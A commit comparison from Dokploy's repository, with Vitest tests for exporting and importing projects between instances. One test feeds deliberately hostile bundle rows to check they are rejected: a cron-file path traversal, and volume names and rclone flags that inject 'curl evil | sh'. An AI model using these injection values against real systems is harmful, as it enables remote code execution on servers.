Compare commits

..

4 Commits

Author SHA1 Message Date
Narciso f48ebf0bcb fix(project-export-import): don't deploy services whose files failed to write 2026-10-15 18:22:38 -04:00
Narciso 8383f48bd0 fix(project-export-import): keep restoring dumps when file writes fail, check local networks correctly 2026-10-15 18:12:57 -04:00
Narciso 3f90bb9159 fix(project-export-import): address review findings
- Allow absolute bind mount host paths on import
- Create imported networks in Docker and only reuse a network on the target server
- Register imported enabled backups, volume backups and schedules
- Write file mounts before restoring dumps; remove import files when the job ends
- Claim the import before validating so it cannot start twice
- Rewrite app names in project, environment and build variables; keep source project variables when importing into an existing project
- Only reuse the raw Traefik config when the imported domains are unchanged
- Validate conflict renames and detect database external port conflicts
- Skip rotation when a root password is unsafe
- Detect uploaded certificates by the hosts they cover
- Export shared resources by value in organization exports
- Fix Back after unlock and the missing "Create from bundle" option in the import wizard
2026-10-15 17:56:51 -04:00
Narciso 63a1a0c89f feat(project-export-import): export and import projects between Dokploy instances
Export a project (or a scoped subset of its environments and services) into an
encrypted .dokploy.tar.gz bundle, and import it as a new project or into an
existing one, on the same or another instance.

- Capture -> serialize -> plan -> apply pipeline with requirement detection
  and resolution for external dependencies (git providers, registries,
  destinations, vaults, SSH keys, networks, certificates, servers).
- The whole payload is encrypted with AES-256-GCM using a scrypt key derived
  from the passphrase; secrets are never written to disk in plaintext.
- appName/domain/port conflict detection with per-conflict resolutions,
  cross-org guards on every reused resource, one active transfer per user and
  a cleanup sweep for abandoned jobs.
- Optional database dumps (postgres, mysql, mariadb, mongo, libsql) embedded
  in the bundle or streamed through a destination, with opt-in credential
  rotation on import.
- Bundles can be downloaded or uploaded to a destination; whole-organization
  export to a destination; Settings -> Exports page to manage remote bundles.
- SSH keepalive on remote commands so a dead server fails the job instead of
  hanging it forever.
2026-10-15 17:31:23 -04:00
123 changed files with 26562 additions and 574 deletions
@@ -0,0 +1,127 @@
import { projects, projectTags, tags } from "@dokploy/server/db/schema";
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import { apply } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {
projectId: "project-src",
name: "src",
env: "",
tags: [
{ name: "prod", color: "#f00" },
{ name: "billing", color: null },
],
},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
describe("apply project tags", () => {
it("reuses an existing tag by name and creates the missing one", async () => {
const inserted = new Map<unknown, Record<string, unknown>[]>();
const writeDb = {
query: {
tags: {
findFirst: async (args: {
where: (f: unknown, o: unknown) => unknown;
}) => {
const captured: unknown[] = [];
args.where(new Proxy({}, { get: (_t, prop) => String(prop) }), {
and: (...v: unknown[]) => v,
eq: (a: unknown, b: unknown) => captured.push([a, b]),
});
const nameArg = captured.find(
(c) => (c as [unknown, unknown])[0] === "name",
) as [unknown, string] | undefined;
return nameArg?.[1] === "prod"
? { tagId: "tag-existing", name: "prod" }
: undefined;
},
},
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const row = { ...values };
if (table === projects) row.projectId = "project-new";
if (table === tags) row.tagId = "tag-new";
const list = inserted.get(table) ?? [];
list.push(row);
inserted.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...writeDb }),
} as unknown as TransferWriteDb;
await apply(writeDb, snapshot, plan, new Map(), "org-dest");
expect(inserted.get(projects)?.[0]).not.toHaveProperty("tags");
expect(inserted.get(tags)).toEqual([
{
name: "billing",
color: null,
organizationId: "org-dest",
tagId: "tag-new",
},
]);
expect(inserted.get(projectTags)).toEqual([
{ projectId: "project-new", tagId: "tag-existing" },
{ projectId: "project-new", tagId: "tag-new" },
]);
});
});
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,92 @@
import {
regenerateAppName,
replaceAppNames,
rewriteSslipIoIp,
rewriteVolumeName,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("regenerateAppName", () => {
it("strips the last hyphen segment and rebuilds a fresh suffix", () => {
const result = regenerateAppName("application", "myapp-verb-noun-ab12cd");
expect(result).not.toBe("myapp-verb-noun-ab12cd");
expect(result.startsWith("myapp-verb-noun-")).toBe(true);
});
it("handles an app name with no hyphen", () => {
const result = regenerateAppName("application", "singleword");
expect(result.startsWith("singleword-")).toBe(true);
});
it("produces a different name on every call", () => {
const first = regenerateAppName("application", "myapp-verb-noun-ab12cd");
const second = regenerateAppName("application", "myapp-verb-noun-ab12cd");
expect(first).not.toBe(second);
});
});
describe("replaceAppNames", () => {
it("replaces a standalone app name reference", () => {
const result = replaceAppNames("DEPLOY_TARGET=app-foo ready", {
"app-foo": "app-bar",
});
expect(result).toBe("DEPLOY_TARGET=app-bar ready");
});
it("does not touch a key that only matches mid-token (left boundary)", () => {
const result = replaceAppNames("myapp-foo deployed", { foo: "bar" });
expect(result).toBe("myapp-foo deployed");
});
it("prefers the longest match when both names are in the map (prefix collision)", () => {
const result = replaceAppNames("app-foo-bar and app-foo both here", {
"app-foo": "short-renamed",
"app-foo-bar": "long-renamed",
});
expect(result).toBe("long-renamed and short-renamed both here");
});
it("returns the text unchanged when the map is empty", () => {
expect(replaceAppNames("app-foo", {})).toBe("app-foo");
});
it("returns null/empty text unchanged", () => {
expect(replaceAppNames("", { "app-foo": "app-bar" })).toBe("");
});
});
describe("rewriteVolumeName", () => {
it("reports rewritten: true when the name changes", () => {
const result = rewriteVolumeName("app-foo-data", {
"app-foo": "app-bar",
});
expect(result).toEqual({ value: "app-bar-data", rewritten: true });
});
it("reports rewritten: false when nothing matches", () => {
const result = rewriteVolumeName("unrelated-volume", {
"app-foo": "app-bar",
});
expect(result).toEqual({ value: "unrelated-volume", rewritten: false });
});
});
describe("rewriteSslipIoIp", () => {
it("swaps the trailing IP segment of an auto-generated sslip.io host for the destination's IP", () => {
const result = rewriteSslipIoIp(
"my-app-ab12cd-10-0-0-5.sslip.io",
"203.0.113.9",
);
expect(result).toBe("my-app-ab12cd-203-0-113-9.sslip.io");
});
it("leaves a non-sslip.io host untouched", () => {
const result = rewriteSslipIoIp("api.example.com", "203.0.113.9");
expect(result).toBe("api.example.com");
});
it("leaves the host untouched when no destination IP is known", () => {
const result = rewriteSslipIoIp("my-app-ab12cd-10-0-0-5.sslip.io", null);
expect(result).toBe("my-app-ab12cd-10-0-0-5.sslip.io");
});
});
@@ -0,0 +1,198 @@
import { PassThrough } from "node:stream";
import { beforeEach, describe, expect, it, vi } from "vitest";
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
const { streamBox } = vi.hoisted(() => ({
streamBox: { content: Buffer.from("bundle bytes"), exitCode: 0 },
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
const { PassThrough: Pass } = await import("node:stream");
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationDestination: vi.fn(
async (destinationId: string, organizationId: string) => {
if (destinationId === "dest-1" && organizationId === "org-1") {
return { destinationId, bucket: "b", organizationId };
}
throw new Error("Destination not found");
},
),
listBundles: vi.fn(async () => [
{
key: `${actual.EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`,
size: streamBox.content.length,
modTime: "2024-01-01T00:00:00.000Z",
},
]),
streamBundleFromDestination: vi.fn(async () => {
const stdout = new Pass();
const stdin = new Pass();
stdin.resume();
process.nextTick(() => stdout.end(streamBox.content));
return {
stdin,
stdout,
stderr: new Pass(),
exit: Promise.resolve(streamBox.exitCode),
close: () => {},
};
}),
};
},
);
const { assertTransferPermission, EXPORTS_DIRECTORY } = await import(
"@dokploy/server/services/project-export-import"
);
const handler = (await import("../../pages/api/project-export-import/bundle"))
.default;
const buildReq = (query: Record<string, string>, method = "GET") => ({
method,
query,
headers: {},
});
const buildRes = () => {
const body = new PassThrough();
const chunks: Buffer[] = [];
body.on("data", (chunk) => chunks.push(chunk as Buffer));
const res = body as unknown as PassThrough & {
statusCode: number;
jsonBody?: unknown;
headers: Record<string, unknown>;
status: (code: number) => typeof res;
json: (value: unknown) => void;
setHeader: (key: string, value: unknown) => void;
body: () => Buffer;
};
res.statusCode = 200;
res.headers = {};
res.status = (code) => {
res.statusCode = code;
return res;
};
res.json = (value) => {
res.jsonBody = value;
res.end();
};
res.setHeader = (key, value) => {
res.headers[key] = value;
};
res.body = () => Buffer.concat(chunks);
return res;
};
const goodKey = `${EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`;
beforeEach(() => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
streamBox.exitCode = 0;
});
describe("bundle download route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(401);
});
it("rejects keys outside the exports directory or with the wrong extension", async () => {
for (const key of [
"backups/prod.sql.gz",
`${EXPORTS_DIRECTORY}/../secret.dokploy.tar.gz`,
`${EXPORTS_DIRECTORY}/notes.txt`,
]) {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key }) as any,
res as any,
);
expect(res.statusCode).toBe(400);
}
});
it("rejects a non-owner caller", async () => {
vi.mocked(assertTransferPermission).mockRejectedValueOnce(
new Error("Only organization owners and admins can do that"),
);
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(403);
});
it("returns 404 for a destination outside the organization", async () => {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-other", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(404);
});
it("returns 404 for a bundle that is not in the listing", async () => {
const res = buildRes();
await handler(
buildReq({
destinationId: "dest-1",
key: `${EXPORTS_DIRECTORY}/missing.dokploy.tar.gz`,
}) as any,
res as any,
);
expect(res.statusCode).toBe(404);
});
it("streams the object with the right headers", async () => {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(200);
expect(res.headers["Content-Length"]).toBe(streamBox.content.length);
expect(res.headers["Content-Disposition"]).toContain("p-1.dokploy.tar.gz");
expect(res.body().equals(streamBox.content)).toBe(true);
});
it("answers with a JSON error when listing the destination fails", async () => {
const { listBundles } = await import(
"@dokploy/server/services/project-export-import"
);
vi.mocked(listBundles).mockRejectedValueOnce(new Error("bad credentials"));
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(502);
});
});
@@ -0,0 +1,182 @@
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import { apply } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const manifest: Snapshot["manifest"] = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
};
const plan = (overrides: Partial<Plan> = {}): Plan => ({
target: { kind: "newProject", name: "p" },
resolutions: {},
serverMap: { null: null },
appNameMap: { "web-abc123": "web-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
...overrides,
});
const writeDb = () =>
({
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
},
insert: () => ({
values: (values: Record<string, unknown>) => ({
returning: async () => [
{
...values,
projectId: "project-new",
environmentId: "env-new",
applicationId: "app-new",
destinationId: "dest-new",
},
],
}),
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => fn(writeDb()),
}) as unknown as TransferWriteDb;
const appWith = (mount: Record<string, unknown>): Snapshot => ({
manifest,
resources: {
project: { projectId: "project-src", name: "p", env: "" },
environments: [{ environmentId: "env-1", name: "production", env: "" }],
services: [
{
kind: "application",
applicationId: "app-1",
appName: "web-abc123",
environmentId: "env-1",
mounts: [mount],
},
],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
});
describe("apply rejects unsafe bundle rows", () => {
it("refuses a file mount whose filePath escapes the service directory", async () => {
const snapshot = appWith({
mountId: "m-1",
type: "file",
filePath: "../../../etc/cron.d/x",
content: "* * * * * root id",
mountPath: "/x",
});
await expect(
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
).rejects.toThrow(/Unsafe mount filePath/);
});
it("refuses a volume mount with a shell-unsafe volume name", async () => {
const snapshot = appWith({
mountId: "m-1",
type: "volume",
volumeName: "x:/v; curl evil | sh; #",
mountPath: "/data",
});
await expect(
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
).rejects.toThrow(/Invalid volume name/);
});
it("refuses a destination whose additional rclone flags don't match the API rule", async () => {
const snapshot: Snapshot = {
manifest,
resources: {
project: { projectId: "project-src", name: "p", env: "" },
environments: [],
services: [],
shared: {
destination: [
{
destinationId: "dest-src",
name: "backups",
bucket: "b",
endpoint: "e",
region: "r",
accessKey: "$secret:a",
secretAccessKey: "$secret:b",
additionalFlags: ["; curl http://evil | sh #"],
},
],
},
},
requirements: [
{
kind: "destination",
originalId: "dest-src",
configIncluded: true,
usedBy: [],
bucket: "b",
endpoint: "e",
region: "r",
},
],
warnings: [],
dumps: [],
};
await expect(
apply(
writeDb(),
snapshot,
plan({
resolutions: {
"destination:dest-src": {
requirementKey: "destination:dest-src",
action: "create",
},
},
}),
new Map([
["a", "ak"],
["b", "sk"],
]),
"org-dest",
),
).rejects.toThrow(/invalid additional rclone flags/);
});
});
@@ -0,0 +1,440 @@
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
CaptureNotFoundError,
capture,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const application1 = {
applicationId: "app-1",
name: "app-1",
appName: "app-one",
environmentId: "env-1",
env: "DB_PASS=hunter2\nAPI_KEY=abc123",
buildArgs: null,
serverId: "server-1",
buildServerId: "server-1",
githubId: "gh-1",
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token-1",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "server { listen 80; }",
createdAt: "2024-01-01",
},
{
mountId: "mount-2",
type: "bind",
content: null,
createdAt: "2024-01-01",
},
],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpass",
createdAt: "2024-01-01",
},
],
ports: [],
schedules: [],
volumeBackups: [],
};
const application2 = {
applicationId: "app-2",
name: "app-2",
appName: "app-two",
environmentId: "env-2",
env: "",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres1 = {
postgresId: "pg-1",
name: "pg-1",
appName: "pg-one",
environmentId: "env-1",
env: "PGPASS=supersecret",
databasePassword: "realdbpassword",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [
{
backupId: "backup-1",
createdAt: "2024-01-01T00:00:00.000Z",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "metasecret" },
},
},
],
volumeBackups: [],
};
const mysql1 = {
mysqlId: "mysql-1",
name: "mysql-1",
appName: "mysql-one",
environmentId: "env-1",
env: "",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application1],
postgres: [postgres1],
mysql: [mysql1],
...emptyServiceArrays,
},
{
environmentId: "env-2",
name: "staging",
projectId: "project-1",
env: "",
isDefault: false,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application2],
postgres: [],
mysql: [],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: {
findFirst: async () => projectTree,
},
environments: {
findFirst: async () => undefined,
},
applications: {
findMany: async () => [application1, application2],
findFirst: async () => undefined,
},
schedules: {
findMany: async () => [],
},
volumeBackups: {
findMany: async () => [],
},
},
}) as any;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const noopOpts = {
detectRequirements: () => [],
detectWarnings: () => [],
};
describe("capture", () => {
it("throws CaptureNotFoundError when the project doesn't exist", async () => {
const db = {
query: {
projects: { findFirst: async () => undefined },
environments: { findFirst: async () => undefined },
},
} as any as TransferDb;
await expect(
capture(db, { kind: "project", id: "missing" }, baseScope, noopOpts),
).rejects.toThrow(CaptureNotFoundError);
});
it("filters by environmentIds and serviceIds", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{
...baseScope,
environmentIds: ["env-1"],
serviceIds: ["app-1", "pg-1"],
},
noopOpts,
);
expect(result.resources.environments).toHaveLength(1);
expect(result.resources.environments[0]?.environmentId).toBe("env-1");
expect(result.resources.services).toHaveLength(2);
const ids = result.resources.services
.map((s) => (s.applicationId ?? s.postgresId) as string)
.sort();
expect(ids).toEqual(["app-1", "pg-1"]);
});
it("never leaks NEVER_EXPORT_FIELDS", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
const serialized = JSON.stringify(result.resources);
for (const forbidden of [
"server-1",
"gh-1",
"webhook-token-1",
"2024-01-01T00:00:00.000Z",
]) {
expect(serialized).not.toContain(forbidden);
}
});
it("replaces every SECRET_FIELDS value with $secret: and recovers it via secretsPlain", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
const serialized = JSON.stringify(result.resources);
expect(serialized).not.toContain("hunter2");
expect(serialized).not.toContain("abc123");
expect(serialized).not.toContain("supersecret");
expect(serialized).not.toContain("basicauthpass");
expect(serialized).not.toContain("server { listen 80; }");
expect(serialized).not.toContain("realdbpassword");
expect(serialized).not.toContain("metasecret");
const pg1Resource = result.resources.services.find(
(s) => s.postgresId === "pg-1",
) as Record<string, unknown>;
expect(String(pg1Resource.databasePassword)).toMatch(/^\$secret:/);
expect(
result.secretsPlain.get(
String(pg1Resource.databasePassword).slice("$secret:".length),
),
).toBe("realdbpassword");
const pgBackups = pg1Resource.backups as Record<string, unknown>[];
expect(String(pgBackups[0]?.metadata)).toMatch(/^\$secret:/);
const app1Resource = result.resources.services.find(
(s) => s.applicationId === "app-1",
) as Record<string, unknown>;
expect(app1Resource.env).toMatch(
/^DB_PASS=\$secret:.+\nAPI_KEY=\$secret:.+$/,
);
const dbPassId = (app1Resource.env as string).match(
/DB_PASS=\$secret:([^\n]+)/,
)?.[1];
expect(dbPassId).toBeDefined();
expect(result.secretsPlain.get(dbPassId as string)).toBe("hunter2");
const mounts = app1Resource.mounts as Record<string, unknown>[];
const fileMount = mounts.find((m) => m.mountId === "mount-1");
expect(String(fileMount?.content)).toMatch(/^\$secret:/);
const bindMount = mounts.find((m) => m.mountId === "mount-2");
expect(bindMount?.content).toBeNull();
const security = app1Resource.security as Record<string, unknown>[];
expect(String(security[0]?.password)).toMatch(/^\$secret:/);
});
it("redacts secrets instead of capturing them when includeEnvSecrets is false", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, includeEnvSecrets: false },
noopOpts,
);
expect(result.secretsPlain.size).toBe(0);
const app1Resource = result.resources.services.find(
(s) => s.applicationId === "app-1",
) as Record<string, unknown>;
expect(app1Resource.env).toBe(
"DB_PASS=$secret:REDACTED\nAPI_KEY=$secret:REDACTED",
);
});
it("redacts a vault provider's config when exported by value (shared.vault, not shared.vaultProvider)", async () => {
const db = {
query: {
...(fakeDb() as any).query,
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
config: { token: "s.super-secret-vault-token" },
assignments: [
{ projectId: "old-project", environmentIds: ["old-env"] },
],
}),
},
},
} as any as TransferDb;
const result = await capture(
db,
{ kind: "project", id: "project-1" },
{ ...baseScope, shared: { vaultProvider: "value" } },
{
detectRequirements: () => [
{
kind: "vault",
originalId: "vault-1",
configIncluded: true,
usedBy: [],
providerName: "prod",
providerType: "hashicorp",
secretKeys: [],
},
],
detectWarnings: () => [],
},
);
const serialized = JSON.stringify(result.resources.shared);
expect(serialized).not.toContain("s.super-secret-vault-token");
expect(serialized).not.toContain("old-project");
const [vaultRow] = result.resources.shared.vault ?? [];
expect(String(vaultRow?.config)).toMatch(/^\$secret:/);
const secretId = String(vaultRow?.config).slice("$secret:".length);
expect(JSON.parse(result.secretsPlain.get(secretId) ?? "{}")).toEqual({
token: "s.super-secret-vault-token",
});
expect(vaultRow?.assignments).toBeUndefined();
});
it("builds an inventory reflecting the filtered scope", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, environmentIds: ["env-1"] },
noopOpts,
);
expect(result.inventory.environments).toHaveLength(1);
expect(result.inventory.environments[0]).toMatchObject({
id: "env-1",
services: { application: 1, postgres: 1, mysql: 1 },
});
expect(result.inventory.totals.domain).toBe(1);
expect(result.inventory.totals.mount).toBe(2);
});
it("excludes backup schedules when scope.includeBackupSchedules is false", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, includeBackupSchedules: false },
noopOpts,
);
const postgresRow = result.resources.services.find(
(service) => service.kind === "postgres",
);
expect(postgresRow?.backups).toEqual([]);
expect(result.inventory.totals.backup).toBeUndefined();
});
});
describe("capture project tags", () => {
it("flattens projectTags into resources.project.tags", async () => {
const db = fakeDb();
(db.query.projects as any).findFirst = async () => ({
...projectTree,
projectTags: [
{ tag: { tagId: "t-1", name: "prod", color: "#f00" } },
{ tag: { tagId: "t-2", name: "billing", color: null } },
],
});
const result = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
expect(result.resources.project.tags).toEqual([
{ name: "prod", color: "#f00" },
{ name: "billing", color: null },
]);
expect(result.resources.project).not.toHaveProperty("projectTags");
});
it("forces vault and dns providers to reference when env secrets are excluded", async () => {
const db = fakeDb();
(db.query as any).dnsProvider = {
findMany: async () => [
{ dnsProviderId: "dns-1", name: "cf", config: {} },
],
};
const result = await capture(
db,
{ kind: "project", id: "project-1" },
{
...baseScope,
includeEnvSecrets: false,
shared: { dnsProvider: "value", vaultProvider: "value" },
},
noopOpts,
);
expect(result.resources.shared.dnsProvider).toBeUndefined();
});
});
@@ -0,0 +1,134 @@
import { existsSync } from "node:fs";
import { mkdir, mkdtemp, rm, utimes } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
createExportJob,
createImportJob,
sweepOrphanedTransferDirectories,
sweepRemoteTransferDirectories,
} from "@dokploy/server/services/project-export-import";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return { ...actual, execAsyncRemote: vi.fn() };
});
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const fakePaths = () => ({ PROJECT_EXPORT_IMPORT_PATH: root }) as any;
const makeStaleDir = async (name: string) => {
const dir = join(root, name);
await mkdir(dir, { recursive: true });
const staleTime = new Date(Date.now() - 2 * 60 * 60 * 1000);
await utimes(dir, staleTime, staleTime);
return dir;
};
describe("sweepOrphanedTransferDirectories", () => {
it("deletes a stale directory with no matching job record (a genuine crash-orphan)", async () => {
const dir = await makeStaleDir("orphaned-export-1");
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(false);
});
it("leaves a fresh directory alone regardless of job state", async () => {
const dir = join(root, "fresh-export-1");
await mkdir(dir, { recursive: true });
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
it("does not delete a stale-by-mtime directory that still has a live export job record", async () => {
const exportId = "export-still-running-1";
createExportJob(exportId, "user-1", "org-1");
const dir = await makeStaleDir(exportId);
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
it("does not delete a stale-by-mtime directory that still has a live import job record", async () => {
const importId = "import-still-running-1";
createImportJob(importId, "user-1", "org-1");
const dir = await makeStaleDir(importId);
await sweepOrphanedTransferDirectories(fakePaths);
expect(existsSync(dir)).toBe(true);
});
});
describe("sweepRemoteTransferDirectories", () => {
it("removes every workspace and bundle on the server that has no live job", async () => {
createExportJob("remote-live-1", "user-1", "org-1");
vi.mocked(execAsyncRemote).mockImplementation(async (_id, command) => ({
stdout: command.startsWith("find ")
? [
"remote-orphan-1",
"remote-orphan-1.dokploy.tar.gz",
"remote-live-1",
"remote-live-1.dokploy.tar.gz",
]
.map((name) => `/etc/dokploy/transfer/${name}\n`)
.join("")
: "",
stderr: "",
}));
await sweepRemoteTransferDirectories(
["server-1"],
1_700_000_000_000,
() =>
({
PROJECT_EXPORT_IMPORT_PATH: "/etc/dokploy/transfer",
}) as any,
);
expect(vi.mocked(execAsyncRemote).mock.calls[0]?.[1]).toContain(
"! -newermt @1700000000",
);
const removed = vi
.mocked(execAsyncRemote)
.mock.calls.map(([, command]) => command)
.filter((command) => command.startsWith("rm "));
expect(removed).toEqual([
"rm -rf '/etc/dokploy/transfer/remote-orphan-1'",
"rm -rf '/etc/dokploy/transfer/remote-orphan-1.dokploy.tar.gz'",
]);
});
it("keeps going when one server is unreachable", async () => {
vi.mocked(execAsyncRemote)
.mockReset()
.mockRejectedValueOnce(new Error("ssh down"))
.mockResolvedValue({ stdout: "", stderr: "" });
await expect(
sweepRemoteTransferDirectories(["down", "up"], Date.now(), fakePaths),
).resolves.toBeUndefined();
expect(vi.mocked(execAsyncRemote).mock.calls.map(([id]) => id)).toEqual([
"down",
"up",
]);
});
});
@@ -0,0 +1,265 @@
import type {
Conflict,
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
apply,
resolveConflicts,
resolvedProjectName,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const conflict = (
kind: Conflict["kind"],
value: string,
options: Conflict["options"],
): Conflict => ({
kind,
value,
existingId: `existing-${kind}`,
usedBy: [],
options,
});
describe("resolveConflicts", () => {
const conflicts = [
conflict("domain", "api.example.com", ["rename", "skip"]),
conflict("port", "8080", ["rename", "skip", "keep"]),
conflict("projectName", "shop", ["rename"]),
conflict("network", "shared-net", ["keep", "rename", "skip"]),
];
it("applies safe defaults per kind", () => {
expect(resolveConflicts(conflicts, undefined)).toEqual({
"domain:api.example.com": { action: "skip" },
"port:8080": { action: "skip" },
"projectName:shop": { action: "rename", value: "shop (imported)" },
"network:shared-net": { action: "keep" },
});
});
it("keeps valid user choices and falls back for invalid ones", () => {
const resolved = resolveConflicts(conflicts, {
"domain:api.example.com": { action: "rename", value: "api2.example.com" },
"port:8080": { action: "rename", value: "not-a-port" },
"projectName:shop": { action: "skip" },
"network:shared-net": { action: "rename", value: "shared-net-2" },
});
expect(resolved["domain:api.example.com"]).toEqual({
action: "rename",
value: "api2.example.com",
});
expect(resolved["port:8080"]).toEqual({ action: "skip" });
